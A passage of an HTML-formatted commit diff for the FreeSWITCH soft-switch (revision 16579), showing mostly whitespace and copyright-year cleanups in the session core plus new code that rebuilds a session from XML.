</span><span class="cx">                         }
</span><del>-                        if (++index >= alloc->track_len) {
</del><ins>+                        if (++index >= alloc->track_len) {
</ins><span class="cx">                                 index = 0;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_rwlockc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_rwlock.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_rwlock.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_rwlock.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_sessionc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_session.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_session.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_session.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -80,7 +80,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_core_session_t *session = NULL;
</span><span class="cx">         switch_status_t status;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (uuid_str) {
</span><span class="cx">                 switch_mutex_lock(runtime.session_hash_mutex);
</span><span class="cx">                 if ((session = switch_core_hash_find(session_manager.session_table, uuid_str))) {
</span><span class="lines">@@ -116,7 +116,7 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_core_session_get_partner(switch_core_session_t *session, switch_core_session_t **partner)
</span><span class="cx"> {
</span><span class="cx">         const char *uuid;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((uuid = switch_channel_get_variable(session->channel, SWITCH_SIGNAL_BOND_VARIABLE))) {
</span><span class="cx">                 if ((*partner = switch_core_session_locate(uuid))) {
</span><span class="cx">                         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -136,11 +136,12 @@
</span><span class="cx">         switch_memory_pool_t *pool;
</span><span class="cx">         switch_queue_t *queue;
</span><span class="cx">         void *pop;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_new_memory_pool(&pool);
</span><span class="cx">         switch_queue_create(&queue, 250000, pool);
</span><span class="cx">
</span><del>-        if (!var_val) return;
</del><ins>+        if (!var_val)
+                return;
</ins><span class="cx">
</span><span class="cx">         switch_mutex_lock(runtime.session_hash_mutex);
</span><span class="cx">         for (hi = switch_hash_first(NULL, session_manager.session_table); hi; hi = switch_hash_next(hi)) {
</span><span class="lines">@@ -159,9 +160,9 @@
</span><span class="cx">         }
</span><span class="cx">         switch_mutex_unlock(runtime.session_hash_mutex);
</span><span class="cx">
</span><del>-        while(switch_queue_trypop(queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
</del><ins>+        while (switch_queue_trypop(queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
</ins><span class="cx">                 char *uuid = (char *) pop;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((session = switch_core_session_locate(uuid))) {
</span><span class="cx">                         switch_channel_hangup(session->channel, cause);
</span><span class="cx">                         switch_core_session_rwunlock(session);
</span><span class="lines">@@ -170,7 +171,7 @@
</span><span class="cx">
</span><span class="cx">         switch_core_destroy_memory_pool(&pool);
</span><span class="cx">
</span><del>-}        
</del><ins>+}
</ins><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(void) switch_core_session_hupall_endpoint(const switch_endpoint_interface_t *endpoint_interface, switch_call_cause_t cause)
</span><span class="cx"> {
</span><span class="lines">@@ -180,7 +181,7 @@
</span><span class="cx">         switch_memory_pool_t *pool;
</span><span class="cx">         switch_queue_t *queue;
</span><span class="cx">         void *pop;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_new_memory_pool(&pool);
</span><span class="cx">         switch_queue_create(&queue, 250000, pool);
</span><span class="cx">
</span><span class="lines">@@ -199,9 +200,9 @@
</span><span class="cx">         }
</span><span class="cx">         switch_mutex_unlock(runtime.session_hash_mutex);
</span><span class="cx">
</span><del>-        while(switch_queue_trypop(queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
</del><ins>+        while (switch_queue_trypop(queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
</ins><span class="cx">                 char *uuid = (char *) pop;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((session = switch_core_session_locate(uuid))) {
</span><span class="cx">                         switch_channel_hangup(session->channel, cause);
</span><span class="cx">                         switch_core_session_rwunlock(session);
</span><span class="lines">@@ -210,7 +211,7 @@
</span><span class="cx">
</span><span class="cx">         switch_core_destroy_memory_pool(&pool);
</span><span class="cx">
</span><del>-}        
</del><ins>+}
</ins><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(void) switch_core_session_hupall(switch_call_cause_t cause)
</span><span class="cx"> {
</span><span class="lines">@@ -220,7 +221,7 @@
</span><span class="cx">         switch_memory_pool_t *pool;
</span><span class="cx">         switch_queue_t *queue;
</span><span class="cx">         void *pop;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_new_memory_pool(&pool);
</span><span class="cx">         switch_queue_create(&queue, 250000, pool);
</span><span class="cx">
</span><span class="lines">@@ -236,10 +237,10 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">         switch_mutex_unlock(runtime.session_hash_mutex);
</span><del>-        
-        while(switch_queue_trypop(queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
</del><ins>+
+        while (switch_queue_trypop(queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
</ins><span class="cx">                 char *uuid = (char *) pop;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((session = switch_core_session_locate(uuid))) {
</span><span class="cx">                         switch_channel_hangup(session->channel, cause);
</span><span class="cx">                         switch_core_session_rwunlock(session);
</span><span class="lines">@@ -247,10 +248,10 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_core_destroy_memory_pool(&pool);
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><del>-
</del><ins>+
</ins><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_core_session_message_send(const char *uuid_str, switch_core_session_message_t *message)
</span><span class="cx"> {
</span><span class="cx">         switch_core_session_t *session = NULL;
</span><span class="lines">@@ -297,8 +298,8 @@
</span><span class="cx">         switch_assert(session != NULL);
</span><span class="cx">         return session->private_info;
</span><span class="cx"> }
</span><del>-
</del><span class="cx">
</span><ins>+
</ins><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_core_session_set_private(switch_core_session_t *session, void *private_info)
</span><span class="cx"> {
</span><span class="cx">         switch_assert(session != NULL);
</span><span class="lines">@@ -340,9 +341,8 @@
</span><span class="cx">                                                                                                                                                  const char *endpoint_name,
</span><span class="cx">                                                                                                                                                  switch_caller_profile_t *caller_profile,
</span><span class="cx">                                                                                                                                                  switch_core_session_t **new_session,
</span><del>-                                                                                                                                                 switch_memory_pool_t **pool,
-                                                                                                                                                 switch_originate_flag_t flags,
-                                                                                                                                                 switch_call_cause_t *cancel_cause)
</del><ins>+                                                                                                                                                 switch_memory_pool_t **pool,
+                                                                                                                                                 switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</ins><span class="cx"> {
</span><span class="cx">         switch_io_event_hook_outgoing_channel_t *ptr;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -378,7 +378,7 @@
</span><span class="cx">
</span><span class="cx">                 if (caller_profile) {
</span><span class="cx">                         const char *ecaller_id_name = NULL, *ecaller_id_number = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!(flags & SOF_NO_EFFECTIVE_CID_NAME)) {
</span><span class="cx">                                 ecaller_id_name = switch_channel_get_variable(channel, "effective_caller_id_name");
</span><span class="cx">                         }
</span><span class="lines">@@ -404,7 +404,8 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if ((cause =
</span><del>-                 endpoint_interface->io_routines->outgoing_channel(session, var_event, outgoing_profile, new_session, pool, flags, cancel_cause)) != SWITCH_CAUSE_SUCCESS) {
</del><ins>+                 endpoint_interface->io_routines->outgoing_channel(session, var_event, outgoing_profile, new_session, pool, flags,
+                                                                                                                 cancel_cause)) != SWITCH_CAUSE_SUCCESS) {
</ins><span class="cx">                 UNPROTECT_INTERFACE(endpoint_interface);
</span><span class="cx">                 return cause;
</span><span class="cx">         }
</span><span class="lines">@@ -418,8 +419,9 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (!*new_session) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "Outgoing method for endpoint: [%s] returned: [%s] but there is no new session!\n",
-                                                 endpoint_name, switch_channel_cause2str(cause));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT,
+                                                 "Outgoing method for endpoint: [%s] returned: [%s] but there is no new session!\n", endpoint_name,
+                                                 switch_channel_cause2str(cause));
</ins><span class="cx">                 UNPROTECT_INTERFACE(endpoint_interface);
</span><span class="cx">                 return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
</span><span class="cx">         } else {
</span><span class="lines">@@ -431,17 +433,19 @@
</span><span class="cx">                 switch_assert(peer_channel);
</span><span class="cx">
</span><span class="cx">                 peer_profile = switch_channel_get_caller_profile(peer_channel);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((use_uuid = switch_event_get_header(var_event, "origination_uuid"))) {
</span><span class="cx">                         use_uuid = switch_core_session_strdup(*new_session, use_uuid);
</span><span class="cx">                         if (switch_core_session_set_uuid(*new_session, use_uuid) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_event_del_header(var_event, "origination_uuid");
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_DEBUG, "%s set UUID=%s\n", switch_channel_get_name(peer_channel), use_uuid);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_DEBUG, "%s set UUID=%s\n", switch_channel_get_name(peer_channel),
+                                                                 use_uuid);
</ins><span class="cx">                         } else {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_CRIT, "%s set UUID=%s FAILED\n", switch_channel_get_name(peer_channel), use_uuid);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_CRIT, "%s set UUID=%s FAILED\n",
+                                                                 switch_channel_get_name(peer_channel), use_uuid);
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (channel) {
</span><span class="cx">                         const char *val;
</span><span class="cx">                         switch_codec_t *vid_read_codec = NULL, *read_codec = switch_core_session_get_read_codec(session);
</span><span class="lines">@@ -455,12 +459,12 @@
</span><span class="cx">
</span><span class="cx">                         if (read_codec && read_codec->implementation && switch_core_codec_ready(read_codec)) {
</span><span class="cx">                                 char rc[80] = "", vrc[80] = "", tmp[160] = "";
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_codec2str(read_codec, rc, sizeof(rc));
</span><span class="cx">                                 if (vid_read_codec && vid_read_codec->implementation && switch_core_codec_ready(vid_read_codec)) {
</span><span class="cx">                                         vrc[0] = ',';
</span><del>-                                        switch_codec2str(read_codec, vrc+1, sizeof(vrc) - 1);
-                                        switch_channel_set_variable(peer_channel, SWITCH_ORIGINATOR_VIDEO_CODEC_VARIABLE, vrc+1);
</del><ins>+                                        switch_codec2str(read_codec, vrc + 1, sizeof(vrc) - 1);
+                                        switch_channel_set_variable(peer_channel, SWITCH_ORIGINATOR_VIDEO_CODEC_VARIABLE, vrc + 1);
</ins><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 switch_snprintf(tmp, sizeof(tmp), "%s%s", rc, vrc);
</span><span class="lines">@@ -481,11 +485,10 @@
</span><span class="cx">
</span><span class="cx">                         if (switch_channel_test_flag(channel, CF_PROXY_MODE)) {
</span><span class="cx">                                 if (switch_channel_test_cap(peer_channel, CC_BYPASS_MEDIA)) {
</span><del>-                                        switch_channel_set_flag(peer_channel, CF_PROXY_MODE);                
</del><ins>+                                        switch_channel_set_flag(peer_channel, CF_PROXY_MODE);
</ins><span class="cx">                                 } else {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
-                                                                         "%s does not support the proxy feature, disabling.\n",
-                                                                         switch_channel_get_name(peer_channel));
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
+                                                                         "%s does not support the proxy feature, disabling.\n", switch_channel_get_name(peer_channel));
</ins><span class="cx">                                         switch_channel_clear_flag(channel, CF_PROXY_MODE);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="lines">@@ -497,9 +500,8 @@
</span><span class="cx">                                                 switch_channel_set_flag(peer_channel, CF_VIDEO);
</span><span class="cx">                                         }
</span><span class="cx">                                 } else {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
-                                                                         "%s does not support the proxy feature, disabling.\n",
-                                                                         switch_channel_get_name(peer_channel));
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
+                                                                         "%s does not support the proxy feature, disabling.\n", switch_channel_get_name(peer_channel));
</ins><span class="cx">                                         switch_channel_clear_flag(channel, CF_PROXY_MEDIA);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="lines">@@ -548,10 +550,12 @@
</span><span class="cx">         "SIMPLIFY",
</span><span class="cx">         "DEBUG_AUDIO",
</span><span class="cx">         "PROXY_MEDIA",
</span><ins>+        "APPLICATION_EXEC",
+        "APPLICATION_EXEC_COMPLETE",
</ins><span class="cx">         "INVALID"
</span><span class="cx"> };
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_perform_receive_message(switch_core_session_t *session,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_perform_receive_message(switch_core_session_t *session,
</ins><span class="cx">                                                                                                                                                         switch_core_session_message_t *message,
</span><span class="cx">                                                                                                                                                         const char *file, const char *func, int line)
</span><span class="cx"> {
</span><span class="lines">@@ -584,19 +588,19 @@
</span><span class="cx">                 message->message_id = SWITCH_MESSAGE_INVALID;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_ID_LOG, message->_file, message->_func, message->_line,
-                                         switch_core_session_get_uuid(session), SWITCH_LOG_DEBUG, "%s receive message [%s]\n",
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_ID_LOG, message->_file, message->_func, message->_line,
+                                         switch_core_session_get_uuid(session), SWITCH_LOG_DEBUG1, "%s receive message [%s]\n",
</ins><span class="cx">                                          switch_channel_get_name(session->channel), message_names[message->message_id]);
</span><span class="cx">
</span><del>-        
-        if (message->message_id == SWITCH_MESSAGE_INDICATE_DISPLAY &&
</del><ins>+
+        if (message->message_id == SWITCH_MESSAGE_INDICATE_DISPLAY &&
</ins><span class="cx">                 switch_true(switch_channel_get_variable(session->channel, SWITCH_IGNORE_DISPLAY_UPDATES_VARIABLE))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_ID_LOG, message->_file, message->_func, message->_line,
</span><del>-                                                 switch_core_session_get_uuid(session), SWITCH_LOG_DEBUG, "Ignoring display update.\n");
</del><ins>+                                                 switch_core_session_get_uuid(session), SWITCH_LOG_DEBUG1, "Ignoring display update.\n");
</ins><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (session->endpoint_interface->io_routines->receive_message) {
</span><span class="cx">                 status = session->endpoint_interface->io_routines->receive_message(session, message);
</span><span class="cx">         }
</span><span class="lines">@@ -612,32 +616,32 @@
</span><span class="cx">         message->_file = NULL;
</span><span class="cx">         message->_func = NULL;
</span><span class="cx">         message->_line = 0;
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         switch (message->message_id) {
</span><del>- case SWITCH_MESSAGE_REDIRECT_AUDIO:
- case SWITCH_MESSAGE_INDICATE_ANSWER:
- case SWITCH_MESSAGE_INDICATE_PROGRESS:
- case SWITCH_MESSAGE_INDICATE_BRIDGE:
- case SWITCH_MESSAGE_INDICATE_UNBRIDGE:
- case SWITCH_MESSAGE_INDICATE_TRANSFER:
- case SWITCH_MESSAGE_INDICATE_RINGING:
- case SWITCH_MESSAGE_INDICATE_MEDIA:
- case SWITCH_MESSAGE_INDICATE_NOMEDIA:
- case SWITCH_MESSAGE_INDICATE_HOLD:
- case SWITCH_MESSAGE_INDICATE_UNHOLD:
- case SWITCH_MESSAGE_INDICATE_REDIRECT:
- case SWITCH_MESSAGE_INDICATE_RESPOND:
- case SWITCH_MESSAGE_INDICATE_BROADCAST:
- case SWITCH_MESSAGE_INDICATE_MEDIA_REDIRECT:
- case SWITCH_MESSAGE_INDICATE_DEFLECT:
</del><ins>+        case SWITCH_MESSAGE_REDIRECT_AUDIO:
+        case SWITCH_MESSAGE_INDICATE_ANSWER:
+        case SWITCH_MESSAGE_INDICATE_PROGRESS:
+        case SWITCH_MESSAGE_INDICATE_BRIDGE:
+        case SWITCH_MESSAGE_INDICATE_UNBRIDGE:
+        case SWITCH_MESSAGE_INDICATE_TRANSFER:
+        case SWITCH_MESSAGE_INDICATE_RINGING:
+        case SWITCH_MESSAGE_INDICATE_MEDIA:
+        case SWITCH_MESSAGE_INDICATE_NOMEDIA:
+        case SWITCH_MESSAGE_INDICATE_HOLD:
+        case SWITCH_MESSAGE_INDICATE_UNHOLD:
+        case SWITCH_MESSAGE_INDICATE_REDIRECT:
+        case SWITCH_MESSAGE_INDICATE_RESPOND:
+        case SWITCH_MESSAGE_INDICATE_BROADCAST:
+        case SWITCH_MESSAGE_INDICATE_MEDIA_REDIRECT:
+        case SWITCH_MESSAGE_INDICATE_DEFLECT:
</ins><span class="cx">                 switch_core_session_kill_channel(session, SWITCH_SIG_BREAK);
</span><span class="cx">                 break;
</span><span class="cx">         default:
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         switch_core_session_free_message(&message);
</span><span class="cx">         switch_core_session_rwunlock(session);
</span><span class="lines">@@ -711,12 +715,12 @@
</span><span class="cx">         *message = NULL;
</span><span class="cx">
</span><span class="cx">         if (switch_test_flag(to_free, SCSMF_DYNAMIC)) {
</span><del>-                s = (char *)to_free->string_arg;
</del><ins>+                s = (char *) to_free->string_arg;
</ins><span class="cx">                 switch_safe_free(s);
</span><span class="cx">                 switch_safe_free(to_free->pointer_arg);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 for (i = 0; i < MESSAGE_STRING_ARG_MAX; i++) {
</span><del>-                        s = (char *)to_free->string_array_arg[i];
</del><ins>+                        s = (char *) to_free->string_array_arg[i];
</ins><span class="cx">                         switch_safe_free(s);
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="lines">@@ -845,7 +849,7 @@
</span><span class="cx">
</span><span class="cx">         if (session->private_event_queue) {
</span><span class="cx">                 queue = priority ? session->private_event_queue_pri : session->private_event_queue;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 (*event)->event_id = SWITCH_EVENT_PRIVATE_COMMAND;
</span><span class="cx">                 if (switch_queue_trypush(queue, *event) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         *event = NULL;
</span><span class="lines">@@ -864,12 +868,12 @@
</span><span class="cx">                         switch_ivr_nomedia(session->uuid_str, SMF_REBRIDGE);                \
</span><span class="cx">                 }                                                                                                                                \
</span><span class="cx">         }                                                                                                                                        \
</span><del>-                
</del><ins>+
</ins><span class="cx"> SWITCH_DECLARE(uint32_t) switch_core_session_private_event_count(switch_core_session_t *session)
</span><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         uint32_t count = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (session->private_event_queue) {
</span><span class="cx">
</span><span class="cx">                 if (!switch_channel_test_flag(channel, CF_EVENT_LOCK)) {
</span><span class="lines">@@ -894,7 +898,7 @@
</span><span class="cx">         void *pop;
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_queue_t *queue;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (session->private_event_queue) {
</span><span class="cx">                 if (switch_queue_size(session->private_event_queue_pri)) {
</span><span class="cx">                         queue = session->private_event_queue_pri;
</span><span class="lines">@@ -904,7 +908,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 } else {
</span><span class="cx">                         queue = session->private_event_queue;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_channel_test_flag(channel, CF_EVENT_LOCK)) {
</span><span class="cx">                                 return SWITCH_STATUS_FALSE;
</span><span class="cx">                         }
</span><span class="lines">@@ -985,16 +989,11 @@
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(void) switch_core_session_wake_session_thread(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>-        int x = 5;
</del><span class="cx">         /* If trylock fails the signal is already awake so we needn't bother */
</span><del>-        for(;;) {
-                if (switch_mutex_trylock(session->mutex) == SWITCH_STATUS_SUCCESS) {
-                        switch_thread_cond_signal(session->cond);
-                        switch_mutex_unlock(session->mutex);
-                        return;
-                }
-                if (!--x) return;
-                switch_yield(1000);
</del><ins>+
+        if (switch_mutex_trylock(session->mutex) == SWITCH_STATUS_SUCCESS) {
+                switch_thread_cond_signal(session->cond);
+                switch_mutex_unlock(session->mutex);
</ins><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1036,7 +1035,7 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">         switch_core_session_reset(*session, TRUE, SWITCH_TRUE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_media_bug_remove_all(*session);
</span><span class="cx">         switch_ivr_deactivate_unicast(*session);
</span><span class="cx">
</span><span class="lines">@@ -1078,7 +1077,7 @@
</span><span class="cx">         switch_event_t *event;
</span><span class="cx">         switch_core_session_t *session;
</span><span class="cx">         char *uuid = task->cmd_arg;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((session = switch_core_session_locate(uuid))) {
</span><span class="cx">                 switch_event_create(&event, SWITCH_EVENT_SESSION_HEARTBEAT);
</span><span class="cx">                 switch_channel_event_set_data(session->channel, event);
</span><span class="lines">@@ -1103,7 +1102,7 @@
</span><span class="cx"> {
</span><span class="cx">
</span><span class="cx">         switch_core_session_unsched_heartbeat(session);
</span><del>-        session->track_id = switch_scheduler_add_task(switch_epoch_time_now(NULL), sch_heartbeat_callback, (char *) __SWITCH_FUNC__,
</del><ins>+        session->track_id = switch_scheduler_add_task(switch_epoch_time_now(NULL), sch_heartbeat_callback, (char *) __SWITCH_FUNC__,
</ins><span class="cx">                                                                                                  switch_core_session_get_uuid(session), 0, strdup(switch_core_session_get_uuid(session)), SSHF_FREE_ARG);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1117,19 +1116,20 @@
</span><span class="cx">
</span><span class="cx">         session->track_duration = seconds;
</span><span class="cx">
</span><del>-        if (switch_channel_test_flag(session->channel, CF_PROXY_MODE)) {
-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "%s using scheduler due to bypass_media mode\n", switch_channel_get_name(session->channel));
</del><ins>+        if (switch_channel_test_flag(session->channel, CF_PROXY_MODE)) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "%s using scheduler due to bypass_media mode\n",
+                                                 switch_channel_get_name(session->channel));
</ins><span class="cx">                 switch_core_session_sched_heartbeat(session, seconds);
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_core_session_unsched_heartbeat(session);
</span><del>-        
-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "%s setting session heartbeat to %u second(s).\n",
</del><ins>+
+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "%s setting session heartbeat to %u second(s).\n",
</ins><span class="cx">                                          switch_channel_get_name(session->channel), seconds);
</span><span class="cx">
</span><span class="cx">         session->read_frame_count = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(void) switch_core_session_disable_heartbeat(switch_core_session_t *session)
</span><span class="lines">@@ -1138,7 +1138,7 @@
</span><span class="cx">         switch_assert(session != NULL);
</span><span class="cx">         session->read_frame_count = 0;
</span><span class="cx">         session->track_duration = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_bool_t) switch_core_session_in_thread(switch_core_session_t *session)
</span><span class="lines">@@ -1234,7 +1234,7 @@
</span><span class="cx">         if (switch_core_hash_find(session_manager.session_table, use_uuid)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Duplicate UUID!\n");
</span><span class="cx">                 switch_mutex_unlock(runtime.session_hash_mutex);
</span><del>- return SWITCH_STATUS_FALSE;
</del><ins>+                return SWITCH_STATUS_FALSE;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         msg.message_id = SWITCH_MESSAGE_INDICATE_UUID_CHANGE;
</span><span class="lines">@@ -1251,16 +1251,222 @@
</span><span class="cx">         switch_mutex_unlock(runtime.session_hash_mutex);
</span><span class="cx">         switch_channel_event_set_data(session->channel, event);
</span><span class="cx">         switch_event_fire(&event);
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><ins>+static char *xml_find_var(switch_xml_t vars, const char *name)
+{
+        switch_xml_t var;
+        if ((var = switch_xml_child(vars, name)) && var->txt) {
+                return var->txt;
+        }
+
+        return NULL;
+}
+
+static void parse_array(const char *str, uint32_t *array, int32_t array_len)
+{
+        char *p, *v, *dup, *next = NULL;
+
+        if (zstr(str)) {
+                return;
+        }
+
+        dup = strdup(str);
+
+        p = dup;
+        while (p) {
+                if ((next = strchr(p, ';'))) {
+                        *next++ = '\0';
+                }
+
+                if ((v = strchr(p, '='))) {
+                        *v++ = '\0';
+                }
+
+                if (p && v) {
+                        int x = 0, y = 0;
+
+                        x = atoi(p);
+                        y = atoi(v);
+
+                        if (x < array_len) {
+                                array[x] = y;
+                        }
+                }
+
+                p = next;
+
+        }
+
+        free(dup);
+}
+
+SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_xml(switch_endpoint_interface_t *endpoint_interface,
+                                                                                                                                                switch_memory_pool_t **pool, switch_xml_t xml)
+{
+        switch_core_session_t *session;
+        switch_channel_t *channel;
+        switch_xml_t tag, tag2, tag3, vars, callflow;
+        switch_call_direction_t direction = SWITCH_CALL_DIRECTION_OUTBOUND;
+        char *bridgeto, *flag_str = NULL, *cap_str = NULL, *direction_s = NULL, *uuid = NULL;
+        uint32_t flags[CF_FLAG_MAX] = { 0 };
+        uint32_t caps[CC_FLAG_MAX] = { 0 };
+        int i;
+
+        vars = switch_xml_child(xml, "variables");
+        bridgeto = xml_find_var(vars, SWITCH_SIGNAL_BOND_VARIABLE);
+        uuid = xml_find_var(vars, "uuid");
+
+        if ((tag = switch_xml_child(xml, "channel_data"))) {
+                direction_s = xml_find_var(tag, "direction");
+                direction = !strcmp(direction_s, "outbound") ? SWITCH_CALL_DIRECTION_OUTBOUND : SWITCH_CALL_DIRECTION_INBOUND;
+                flag_str = xml_find_var(tag, "flags");
+                cap_str = xml_find_var(tag, "caps");
+        }
+
+        parse_array(flag_str, flags, CF_FLAG_MAX);
+        parse_array(cap_str, caps, CC_FLAG_MAX);
+
+        if (!(session = switch_core_session_request_uuid(endpoint_interface, direction, pool, uuid))) {
+                return NULL;
+        }
+
+        channel = switch_core_session_get_channel(session);
+
+        for (i = 0; i < CF_FLAG_MAX; i++) {
+                if (flags[i]) {
+                        switch_channel_set_flag_value(channel, i, flags[i]);
+                }
+        }
+
+        for (i = 0; i < CC_FLAG_MAX; i++) {
+                if (caps[i]) {
+                        switch_channel_set_cap_value(channel, i, caps[i]);
+                }
+        }
+
+        if ((tag2 = switch_xml_child(xml, "variables"))) {
+                for (tag = tag2->child; tag; tag = tag->sibling) {
